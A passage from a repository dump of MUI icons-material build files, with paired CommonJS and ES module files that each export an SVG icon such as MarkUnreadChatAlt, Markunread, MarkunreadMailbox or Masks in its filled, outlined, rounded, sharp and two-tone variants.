    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"19\",\n  cy: \"3\",\n  r: \"3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 8V6h9.03c-1.21-1.6-1.08-3.21-.92-4H4.01c-1.1 0-2 .89-2 2L2 22l4-4h14c1.1 0 2-.9 2-2V6.97C21.16 7.61 20.13 8 19 8zm8 6H6v-2h8zm4-3H6V9h12z\"\n}, \"1\")], 'MarkUnreadChatAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkUnreadChatAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"19\",\n  cy: \"3\",\n  r: \"3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 8V6h9.03c-1.21-1.6-1.08-3.21-.92-4H4.01c-1.1 0-2 .89-2 2L2 22l4-4h14c1.1 0 2-.9 2-2V6.97C21.16 7.61 20.13 8 19 8zm8 6H6v-2h8zm4-3H6V9h12z\"\n}, \"1\")], 'MarkUnreadChatAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkUnreadChatAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 16H4V4h10.1c-.08-.39-.18-1.11 0-2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V6.98c-.58.44-1.26.77-2 .92z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"19\",\n  cy: \"3\",\n  r: \"3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 12h8v2H6zm0-3h12v2H6zm0-1h12v-.1c-1.21-.25-2.25-.95-2.97-1.9H6z\"\n}, \"2\")], 'MarkUnreadChatAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkUnreadChatAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 16H4V4h10.1c-.08-.39-.18-1.11 0-2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V6.98c-.58.44-1.26.77-2 .92z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"19\",\n  cy: \"3\",\n  r: \"3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 12h8v2H6zm0-3h12v2H6zm0-1h12v-.1c-1.21-.25-2.25-.95-2.97-1.9H6z\"\n}, \"2\")], 'MarkUnreadChatAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkUnreadChatAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"19\",\n  cy: \"3\",\n  r: \"3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 8c-.55 0-1-.45-1-1s.45-1 1-1h8.03c-1.21-1.6-1.08-3.21-.92-4H4.01c-1.1 0-2 .89-2 2L2 19.58c0 .89 1.08 1.34 1.71.71L6 18h14c1.1 0 2-.9 2-2V6.97C21.16 7.61 20.13 8 19 8zm6 6H7c-.55 0-1-.45-1-1s.45-1 1-1h6c.55 0 1 .45 1 1s-.45 1-1 1m4-3H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1\"\n}, \"1\")], 'MarkUnreadChatAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkUnreadChatAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"19\",\n  cy: \"3\",\n  r: \"3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 8c-.55 0-1-.45-1-1s.45-1 1-1h8.03c-1.21-1.6-1.08-3.21-.92-4H4.01c-1.1 0-2 .89-2 2L2 19.58c0 .89 1.08 1.34 1.71.71L6 18h14c1.1 0 2-.9 2-2V6.97C21.16 7.61 20.13 8 19 8zm6 6H7c-.55 0-1-.45-1-1s.45-1 1-1h6c.55 0 1 .45 1 1s-.45 1-1 1m4-3H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1\"\n}, \"1\")], 'MarkUnreadChatAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkUnreadChatAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"19\",\n  cy: \"3\",\n  r: \"3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 8V6h9.03c-1.21-1.6-1.08-3.21-.92-4H2.01L2 22l4-4h16V6.97C21.16 7.61 20.13 8 19 8zm8 6H6v-2h8zm4-3H6V9h12z\"\n}, \"1\")], 'MarkUnreadChatAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkUnreadChatAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"19\",\n  cy: \"3\",\n  r: \"3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 8V6h9.03c-1.21-1.6-1.08-3.21-.92-4H2.01L2 22l4-4h16V6.97C21.16 7.61 20.13 8 19 8zm8 6H6v-2h8zm4-3H6V9h12z\"\n}, \"1\")], 'MarkUnreadChatAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkUnreadChatAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 17.17 5.17 16H20V7.9c-.32.06-.66.1-1 .1s-.68-.04-1-.1V8H6V6h9.03c-.44-.58-.77-1.26-.92-2H4zM6 9h12v2H6zm0 3h8v2H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"19\",\n  cy: \"3\",\n  r: \"3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 16H5.17L4 17.17V4h10.1c-.18-.89-.08-1.61 0-2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V6.97c-.58.44-1.26.77-2 .92z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 12h8v2H6zm0-3h12v2H6zm0-1h12v-.1c-1.21-.25-2.25-.95-2.97-1.9H6z\"\n}, \"3\")], 'MarkUnreadChatAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkUnreadChatAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 17.17 5.17 16H20V7.9c-.32.06-.66.1-1 .1s-.68-.04-1-.1V8H6V6h9.03c-.44-.58-.77-1.26-.92-2H4zM6 9h12v2H6zm0 3h8v2H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"19\",\n  cy: \"3\",\n  r: \"3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 16H5.17L4 17.17V4h10.1c-.18-.89-.08-1.61 0-2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V6.97c-.58.44-1.26.77-2 .92z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 12h8v2H6zm0-3h12v2H6zm0-1h12v-.1c-1.21-.25-2.25-.95-2.97-1.9H6z\"\n}, \"3\")], 'MarkUnreadChatAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Markunread.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 4-8 5-8-5V6l8 5 8-5z\"\n}), 'Markunread');"
  },
  {
    "path": "packages/mui-icons-material/lib/Markunread.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 4-8 5-8-5V6l8 5 8-5z\"\n}), 'Markunread');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkunreadMailbox.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6H10v6H8V4h6V0H6v6H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2\"\n}), 'MarkunreadMailbox');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkunreadMailbox.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6H10v6H8V4h6V0H6v6H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2\"\n}), 'MarkunreadMailbox');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkunreadMailboxOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6H10v2h10v12H4V8h2v4h2V4h6V0H6v6H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2\"\n}), 'MarkunreadMailboxOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkunreadMailboxOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6H10v2h10v12H4V8h2v4h2V4h6V0H6v6H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2\"\n}), 'MarkunreadMailboxOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkunreadMailboxRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6H10v5c0 .55-.45 1-1 1s-1-.45-1-1V4h5c.55 0 1-.45 1-1V1c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2\"\n}), 'MarkunreadMailboxRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkunreadMailboxRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6H10v5c0 .55-.45 1-1 1s-1-.45-1-1V4h5c.55 0 1-.45 1-1V1c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2\"\n}), 'MarkunreadMailboxRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkunreadMailboxSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6H10v6H8V4h6V0H6v6H2v16h20z\"\n}), 'MarkunreadMailboxSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkunreadMailboxSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6H10v6H8V4h6V0H6v6H2v16h20z\"\n}), 'MarkunreadMailboxSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkunreadMailboxTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 12H6V8H4v12h16V8H10z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6H10v2h10v12H4V8h2v4h2V4h6V0H6v6H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2\"\n}, \"1\")], 'MarkunreadMailboxTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkunreadMailboxTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 12H6V8H4v12h16V8H10z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6H10v2h10v12H4V8h2v4h2V4h6V0H6v6H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2\"\n}, \"1\")], 'MarkunreadMailboxTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkunreadOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2zm-2 0-8 5-8-5zm0 12H4V8l8 5 8-5z\"\n}), 'MarkunreadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkunreadOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2zm-2 0-8 5-8-5zm0 12H4V8l8 5 8-5z\"\n}), 'MarkunreadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkunreadRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-.4 4.25-6.54 4.09c-.65.41-1.47.41-2.12 0L4.4 8.25c-.25-.16-.4-.43-.4-.72 0-.67.73-1.07 1.3-.72L12 11l6.7-4.19c.57-.35 1.3.05 1.3.72 0 .29-.15.56-.4.72\"\n}), 'MarkunreadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkunreadRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-.4 4.25-6.54 4.09c-.65.41-1.47.41-2.12 0L4.4 8.25c-.25-.16-.4-.43-.4-.72 0-.67.73-1.07 1.3-.72L12 11l6.7-4.19c.57-.35 1.3.05 1.3.72 0 .29-.15.56-.4.72\"\n}), 'MarkunreadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkunreadSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4H2v16h20zm-2 4-8 5-8-5V6l8 5 8-5z\"\n}), 'MarkunreadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkunreadSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4H2v16h20zm-2 4-8 5-8-5V6l8 5 8-5z\"\n}), 'MarkunreadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkunreadTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6H4l8 5zM4 8v10h16V8l-8 5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 2-8 5-8-5zm0 12H4V8l8 5 8-5z\"\n}, \"1\")], 'MarkunreadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkunreadTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6H4l8 5zM4 8v10h16V8l-8 5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 2-8 5-8-5zm0 12H4V8l8 5 8-5z\"\n}, \"1\")], 'MarkunreadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Masks.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.5 6c-1.31 0-2.37 1.01-2.48 2.3-1.88-.5-2.84-1.8-5.02-1.8-2.19 0-3.14 1.3-5.02 1.8C6.87 7.02 5.81 6 4.5 6 3.12 6 2 7.12 2 8.5V9c0 6 3.6 7.81 6.52 7.98C9.53 17.62 10.72 18 12 18s2.47-.38 3.48-1.02C18.4 16.81 22 15 22 9v-.5C22 7.12 20.88 6 19.5 6m-16 3v-.5c0-.55.45-1 1-1s1 .45 1 1v3c0 1.28.38 2.47 1.01 3.48C4.99 14.27 3.5 12.65 3.5 9m17 0c0 3.65-1.49 5.27-3.01 5.98.64-1.01 1.01-2.2 1.01-3.48v-3c0-.55.45-1 1-1s1 .45 1 1zm-9.81 1.48c-.44.26-.96.56-1.69.76V10.2c.48-.17.84-.38 1.18-.58C10.72 9.3 11.23 9 12 9s1.27.3 1.8.62c.34.2.71.42 1.2.59v1.04c-.75-.21-1.26-.51-1.71-.78-.46-.27-.8-.47-1.29-.47s-.84.2-1.31.48\"\n}), 'Masks');"
  },
  {
    "path": "packages/mui-icons-material/lib/Masks.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.5 6c-1.31 0-2.37 1.01-2.48 2.3-1.88-.5-2.84-1.8-5.02-1.8-2.19 0-3.14 1.3-5.02 1.8C6.87 7.02 5.81 6 4.5 6 3.12 6 2 7.12 2 8.5V9c0 6 3.6 7.81 6.52 7.98C9.53 17.62 10.72 18 12 18s2.47-.38 3.48-1.02C18.4 16.81 22 15 22 9v-.5C22 7.12 20.88 6 19.5 6m-16 3v-.5c0-.55.45-1 1-1s1 .45 1 1v3c0 1.28.38 2.47 1.01 3.48C4.99 14.27 3.5 12.65 3.5 9m17 0c0 3.65-1.49 5.27-3.01 5.98.64-1.01 1.01-2.2 1.01-3.48v-3c0-.55.45-1 1-1s1 .45 1 1zm-9.81 1.48c-.44.26-.96.56-1.69.76V10.2c.48-.17.84-.38 1.18-.58C10.72 9.3 11.23 9 12 9s1.27.3 1.8.62c.34.2.71.42 1.2.59v1.04c-.75-.21-1.26-.51-1.71-.78-.46-.27-.8-.47-1.29-.47s-.84.2-1.31.48\"\n}), 'Masks');"
  },
  {
    "path": "packages/mui-icons-material/lib/MasksOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.5 6c-1.31 0-2.37 1.01-2.48 2.3-1.88-.5-2.84-1.8-5.02-1.8-2.19 0-3.14 1.3-5.02 1.8C6.87 7.02 5.81 6 4.5 6 3.12 6 2 7.12 2 8.5V9c0 6 3.6 7.81 6.52 7.98C9.53 17.62 10.72 18 12 18s2.47-.38 3.48-1.02C18.4 16.81 22 15 22 9v-.5C22 7.12 20.88 6 19.5 6m-16 3v-.5c0-.55.45-1 1-1s1 .45 1 1v3c0 1.28.38 2.47 1.01 3.48C4.99 14.27 3.5 12.65 3.5 9M7 11.5V9.85c1.12-.23 1.95-.69 2.66-1.08C10.48 8.33 11.07 8 12 8s1.52.33 2.34.78c.71.39 1.54.84 2.66 1.08v1.65c0 2.76-2.24 5-5 5s-5-2.25-5-5.01M20.5 9c0 3.65-1.49 5.27-3.01 5.98.64-1.01 1.01-2.2 1.01-3.48v-3c0-.55.45-1 1-1s1 .45 1 1zm-9.81 1.48c-.44.26-.96.56-1.69.76V10.2c.48-.17.84-.38 1.18-.58C10.72 9.3 11.23 9 12 9s1.27.3 1.8.62c.34.2.71.42 1.2.59v1.04c-.75-.21-1.26-.51-1.71-.78-.46-.27-.8-.47-1.29-.47s-.84.2-1.31.48\"\n}), 'MasksOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MasksOutlined.mjs",
